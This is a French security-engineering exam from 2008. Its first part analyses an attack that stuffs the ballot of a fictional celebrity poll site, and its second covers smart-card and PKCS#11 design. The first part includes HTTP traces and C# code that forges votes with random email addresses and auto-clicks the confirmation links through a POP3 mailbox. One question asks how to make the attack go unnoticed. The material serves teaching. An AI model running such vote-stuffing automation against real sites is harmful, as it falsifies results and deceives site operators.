1 Composition de Sécurité logique - 2008

La composition est décomposée en deux parties :

- Une partie d'étude de cas réel
- API de sécurité et Carte à Puce

Il est recommandé aux élèves de bien choisir l'ordre des parties selon leurs compétences et rapidités.

Le support de cours est permis. La majeure partie des questions font appel au sens pratique d'ingénieur et le suivi du cours en classe, il est recommandé à l'élève de ne pas perdre son temps pour rechercher les solutions dans le support de cours.

1) Etude de Cas Réel. Sondage en ligne (16 points)

L'énoncé de l'étude est long mais les questions sont courtes

La Gazette des Stars du Wouroudistan publie sur son site www.secretsdestars.wou les dernières nouvelles des stars. Périodiquement le site lance un sondage en ligne où chaque visiteur du site doit définir son choix et mettre son adresse email personnelle. Un email est envoyé par le site à l'adresse indiquée avec une url de confirmation (lien), et que le sondé doit clicker sur ce lien pour que son choix soit pris en compte.

Le site lance un sondage sur le plus beau sourire entre les deux stars Antonio & Brad.
Les partisans de la star Antonio veulent augmenter le résultat du sondage en sa faveur.
Pour cela les partisans d'Antonio adoptent la méthodologie d'attaque suivante :

a) Phase Analyse par utilisation de Wireshark pour capter les datagrams IP et ceci pour la connexion sur la page de sondage, faire des sondages en mettant des emails valables, récupération des emails et validation des emails.
b) Phase Développement d'un programme d'attaque incluant les tests unitaires.
c) Attaque

1.1 Phase Analyse

1.1.1 Connexion sur la page de sondage :

Trace Entête Http Wireshark :

```
GET /vote/ HTTP/1.1
Host: secretsdestars.wou
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Keep-Alive: 300
Connection: keep-alive
Cookie: ASPSESSIONIDCSCDTCCD=DCNLCNMDBIFNKIMEOKHKNAAA
Cache-Control: max-age=0
```

La page affiche le nom des deux stars avec comme choix par boutons radio ainsi une zone de saisie pour introduire son email.

Quelle Star a le plus beau sourire ?

O Antonio O Brad

Votre Email e100.toto01@email.wou

Submit

1.1.2 Lecture de la source de la page html:

La lecture de la source de la page montre qu'en validant la star Antonio une variable R1 est mise à 1 et qu'en validant la star Brad la variable R1 est mise à 2 et qu'une variable appelée email est remplie par l'email que le sondé a introduit.

Validation du choix star Antonio par un bouton radio et submit par un bouton de validation :

Trace Entête Http Wireshark :

POST /vote/vote.asp HTTP/1.1
Host: secretsdestars.wou
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Keep-Alive: 300
Connection: keep-alive
Referer: http:// secretsdestars.wou /vote/
Cookie: ASPSESSIONIDCSCDTCCD=DCNLCNMDBIFNKIMEOKHKNAAA
Content-Type: application/x-www-form-urlencoded
Content-Length: 58

R1=1&email=e100.toto01%40email.wou&B1=++++++++vote++++++++

1.1.3 Réception de l'email de confirmation

L'email de confirmation contient le lien suivant qu'il faut valider.
http:// www.secretsdestars.wou /vote/conf.asp?num1=12345678

Questions sur l'Analyse:

a) *Discuter des inconvénients des diverses méthodes suivantes de contrôle de l'unicité de sondage (6 lignes maximum):*
   - *l'utilisation de cookies,*
   - *le contrôle de l'adresse ip,*
   - *envoi d'un email au sondé pour qu'il confirme son choix,*
   - *seulement des abonnés du site ont le droit de voter.*

b) *A partir de l'analyse de l'entête http de l'envoi du choix quelles sont les 2 zones importantes (en dehors du POST) de l'entête et pour quelles raisons ?*
c) *L'attaque doit être automatisée sans intervention humaine et pouvant envoyer des milliers de votes en faveur de l'artiste Antonio ; donc il faut des milliers d'emails. Que préconisez-vous pour créer ces milliers d'adresses emails de la façon la plus simple et de recevoir les emails de confirmation?*

1.2 Phase Attaque

Un programme est écrit pour automatiser l'attaque et contient plusieurs sections découlant de la phase d'analyse.

d) Le programme d'attaque contient le code suivant :

```
static String[] names = new
String[]{"AbouJoujou","AbiToto","Toto","Tata","Wouroudi","Wouroudistani","IbnelHana","Barnaba","Zreik","Hmeir","AbiTata","Tab
at","Durand","Dupont","Duchemin","Asmar","Achkar","Assouad",
"Abiad","Ahmar","Akhdar","Azrak","Zarka","Hamra","Khadra"};

static String[] prenames = new
String[]{"elie","georges","joseph","antoine","ibrahim","rabih","wadih","karim","habib","rony","edgard","tony","jeanette","souad","sal
wa","bernadette","samia","micha","celine","sabine","lamia","andree","bernadette","georgette","alfred"};

    static String getName()
    {
       Random nb = new Random();
       int i = nb.Next(prenames.Length - 1);
       String s = prenames[i] + "_";
       i = nb.Next(names.Length - 1);
       s = s + names[i] + nb.Next(500).ToString();
       return s;

    }
```

La méthode Next(int i) de Random permet de donner un nombre ayant une valeur maximale de i.

Question: *A quoi peut servir la routine getName ? (1 ligne)*

e) La première partie du main du programme d'attaque est le suivant :

```
static void Main(string[] args)
    {
        CookieContainer cookies = new CookieContainer();
        String uri = "http://www.secretsdestars.wou/vote";
        HttpWebRequest webRequest = null;
        Stream resStream = null;
        int phase = 0;
        string cookiepar = "";
        string cookieval = "";
        string VotingDomain = "email.wou";
        string PopServer = "pop.free.wou";
        string PopCollector = "wouroudistani";
        string PopPwd = "mypassword";

        int loopnumber = 100;

        while (phase < 5)
        {
           switch (phase)
           {
              case 0:  // Phase à Commenter
                 webRequest = (HttpWebRequest)WebRequest.Create(uri);
                 WebResponse wr = webRequest.GetResponse();
                 WebHeaderCollection wh = webRequest.Headers;
                 // we will read data via the response stream
                 resStream = wr.GetResponseStream();
                 wh = wr.Headers;
                 // String s = wh.Get("Set-Cookie");
                 String s = wh.Get("Set-Cookie");
                 cookiepar = s.Substring(0, 20);
                 cookieval = s.Substring(21, 24);
                 break;
              case 1:  // Phase à Commenter
                 uri = "http://www.secretsdesstars.wou/vote/vote.asp";
                 webRequest = (HttpWebRequest)WebRequest.Create(uri);
                 String parameters = "R1=1&email=" + getName() + "%40" + VotingDomain + "&B1=++++++++vote++++++++";
                 webRequest.ContentType = "application/x-www-form-urlencoded";
                 webRequest.Method = "POST";
                 cookies.Add(new Cookie(cookiepar, cookieval, "/", webRequest.RequestUri.Host));
                 webRequest.CookieContainer = cookies;
                 byte[] bytes = Encoding.ASCII.GetBytes(parameters);
                 Stream os = null;
                  webRequest.ContentLength = bytes.Length;   //Count bytes to send
                  os = webRequest.GetRequestStream();
                  os.Write(bytes, 0, bytes.Length);         //Send it
                 break;
              case 2:  // Phase à Commenter
                    System.Threading.Thread.Sleep(100);
                     wr = webRequest.GetResponse();
                     resStream = wr.GetResponseStream();
                    break;
              case 3:  // Phase à Commenter
                 System.Threading.Thread.Sleep(100);
                 loopnumber--;
                 if (loopnumber != 0)
                    phase = -1;
                 break;
           }
           phase++;
        }
```

Question: *A quoi servent les phases 0,1,2,3 du programme principal?*

f) ***Question:*** *De quelle façon a été créé l'email de confirmation de vote? (2 lignes)*

g) ***Question:*** *Combien de votes cette attaque peut envoyer ?(1 ligne)*

h) La suite du programme principal contient la validation d'un lien reçu par un email

```
      Pop3.Pop3MailClient DemoClient = new Pop3.Pop3MailClient(PopServer, 110, false, PopCollector, PopPwd);
        DemoClient.IsAutoReconnect = true;
        DemoClient.ReadTimeout = 60000; //give pop server 60 seconds to answer
        DemoClient.Connect();                    //establish connection

        //get mailbox statistics
        int NumberOfMails, MailboxSize;
        DemoClient.GetMailboxStats(out NumberOfMails, out MailboxSize);
        int j;
        for (j = 1; j <= NumberOfMails; j++)
        {
           //get email
           string Email;
           DemoClient.GetRawEmail(j, out Email); // La variable Email contient le corps du message
           String sss = "http:// www.secretsdestars.wou /vote/conf.asp?num1=";
```

```
        if (Email.Contains("http:// www.secretsdestars.wou") == true)
        {
            int ndx = Email.IndexOf(sss); // A commenter
            String sb = Email.Substring(ndx, sss.Length + 8);  // A commenter
            webRequest = (HttpWebRequest)WebRequest.Create(sb); // A commenter
            WebResponse wr = webRequest.GetResponse();
            resStream = wr.GetResponseStream();
            //delete email
            DemoClient.DeleteEmail(j);
        }
    }
    //close connection
    DemoClient.Disconnect();
```

Question: *Sur quelle adresse email la réception des emails de confirmation de vote est faite ? (1 ligne)*

i) ***Question:*** *Expliquer la partie du code de h contenant les commentaires //* **A commenter***?*

j) L'attaque est passée inaperçue et le site re-propose sur 21 jours un nouveau sondage sur le plus bel acteur parmi ces 8 acteurs : Antonio, Brad, Charles, David, Ernest, Fabrice, Georges, Horacio.
Or les fans de la star Antonio veulent favoriser les acteurs « latins » Antonio & Horacio pour les mettre respectivement premier et second parmi les acteurs. Au bout de 14 jours les statistiques (hors attaque) les résultats sont les suivants :

Antonio : 5200	Brad : 3500	Charles : 200	David : 100
Ernest : 300	Fabrice : 50	Georges : 2400	Horacio : 1500

Le 15ème jour les fans d'Antonio et Horacio font leur attaque en utilisant le même programme utilisé précédemment. Les statistiques deviennent :

Antonio : 9500	Brad : 3601	Charles : 201	David : 101
Ernest : 305	Fabrice : 50	Georges : 2505	Horacio : 4500

Le webmaster détecte l'attaque, bloque le domaine email.wou comme source d'emails de votants et ré-incrémente les statistiques de Brad et Georges pour garder les mêmes ordres initiaux d'avant l'attaque :

Antonio : 9500	Brad : 7901	Charles : 201	David : 101
Ernest : 305	Fabrice : 50	Georges : 5405	Horacio : 4500

Question : En tenant compte de la vitesse de vote de l'attaque (200 votes/3 minutes), des nombres de jours restant, de la méthode utilisée pour créer les emails de confirmation comment peut être améliorée l'attaque pour passer inaperçue ? (10 lignes)

k) ***Question:*** Pour quelles raisons la réaction du webmaster n'est pas la bonne ? (3 lignes)
l) ***Question:*** *Comment le serveur pouvait se protéger d'une façon simple contre cette attaque ? (1 ligne)*
m) ***Question:*** Est-ce que les attaquants ne peuvent pas contourner la protection précédente pour certaines formes de cette protection? (2 lignes)

2) PKCS11, Carte à Puce et Echange sécurisé (10 points)

Dans un projet médical une carte à puce est utilisée pour contenir les informations suivantes :

- Un certificat de taille maximale 1024 octets
- Une clé privée non exportable conservée sous la forme (S,N,P),
- Une zone identification de 1024 octets incluant le numéro de sécurité sociale et informations d'identité.
- Une zone d'urgence incluant le type de sang, allergies, personnes à contacter, médecin traitant, traitement en cours. Taille 1024 octets.
- Une zone carnet de santé devant contenir 100 enregistrements de 128 octets chacun.

Les identifiants des fichiers doivent appartenir à la plage CD01-CDFF

a) Quelles informations peuvent être créées lors de la phase de personnalisation ?
b) Discuter de la nécessité de définir plusieurs profils d'utilisateurs possédant chacun un PIN particulier.
c) Définir le mapping de la carte en justifiant pour chaque fichier les droits d'accès pour les deux phases de personnalisation et utilisation.
d) Quelle est la taille minimale en koctets de la carte à choisir (arrondir au Koctet supérieur).
e) A partir des attributs PKCS11, proposer un template pour faire la recherche de la zone d'urgence.
f) La taille du certificat n'étant pas connue d'avance, écrire les requêtes PKCS11, avec allocation dynamique de la zone mémoire devant recevoir le certificat et ceci en précisant bien les différents templates à utiliser.
g) Un hôpital a la possibilité entre : développer l'application médicale ou-bien acheter un progiciel de 30000 USD. Les estimations pour le développement de l'application sont de 24 mois-hommes avec salaire moyen mensuel de 1000 USD. Quel doit être le choix de l'hôpital et pour quelles raisons ?
h) Après la consultation d'un patient à l'hôpital, le médecin envoie à la sécurité sociale la fiche de maladie du patient signée électroniquement par sa propre clé privée. La fiche ainsi signée passe par un réseau à valeur ajoutée qui oppose aussi une signature sur la fiche signée :

- *Discuter de la nécessité ou pas de chiffrer la fiche de maladie.(2 lignes)*
- *Quel type de signature doit utiliser le réseau à valeur ajoutée ? (co-signature ou-bien signature hiérarchique)?(2 lignes)*
- *Ecrire le schéma des échanges de la fiche signée entre le médecin (M) , le réseau à valeur ajoutée (RAV) et la sécurité sociale (SS). (Ne pas prendre en compte le chiffrement).*

Valeurs PKCS11 à utiliser dans la question 2 :

Attributs	Certaines valeurs de classes d'attributs
#define CKA_CLASS 0x00000000 #define CKA_TOKEN 0x00000001 #define CKA_PRIVATE 0x00000002 #define CKA_LABEL 0x00000003 #define CKA_APPLICATION 0x00000010 #define CKA_VALUE 0x00000011 #define CKA_CERTIFICATE_TYPE 0x00000080 #define CKA_ISSUER 0x00000081 #define CKA_SERIAL_NUMBER 0x00000082 #define CKA_KEY_TYPE 0x00000100 #define CKA_SUBJECT 0x00000101 #define CKA_ID 0x00000102 #define CKA_SENSITIVE 0x00000103 #define CKA_ENCRYPT 0x00000104 #define CKA_DECRYPT 0x00000105 #define CKA_WRAP 0x00000106 #define CKA_UNWRAP 0x00000107 #define CKA_SIGN 0x00000108 #define CKA_SIGN_RECOVER 0x00000109 #define CKA_VERIFY 0x0000010A #define CKA_VERIFY_RECOVER 0x0000010B #define CKA_DERIVE 0x0000010C #define CKA_START_DATE 0x00000110 #define CKA_END_DATE 0x00000111 #define CKA_MODULUS 0x00000120 #define CKA_MODULUS_BITS 0x00000121 #define CKA_PUBLIC_EXPONENT 0x00000122 #define CKA_PRIVATE_EXPONENT 0x00000123 #define CKA_PRIME_1 0x00000124 #define CKA_PRIME_2 0x00000125 #define CKA_EXPONENT_1 0x00000126 #define CKA_EXPONENT_2 0x00000127 #define CKA_COEFFICIENT 0x00000128 #define CKA_PRIME 0x00000130 #define CKA_SUBPRIME 0x00000131 #define CKA_BASE 0x00000132 #define CKA_VALUE_BITS 0x00000160 #define CKA_VALUE_LEN 0x00000161	#define CKO_DATA 0x00000000 #define CKO_CERTIFICATE 0x00000001 #define CKO_PUBLIC_KEY 0x00000002 #define CKO_PRIVATE_KEY 0x00000003 #define CKO_SECRET_KEY 0x00000004 #define CKO_VENDOR_DEFINED 0x80000000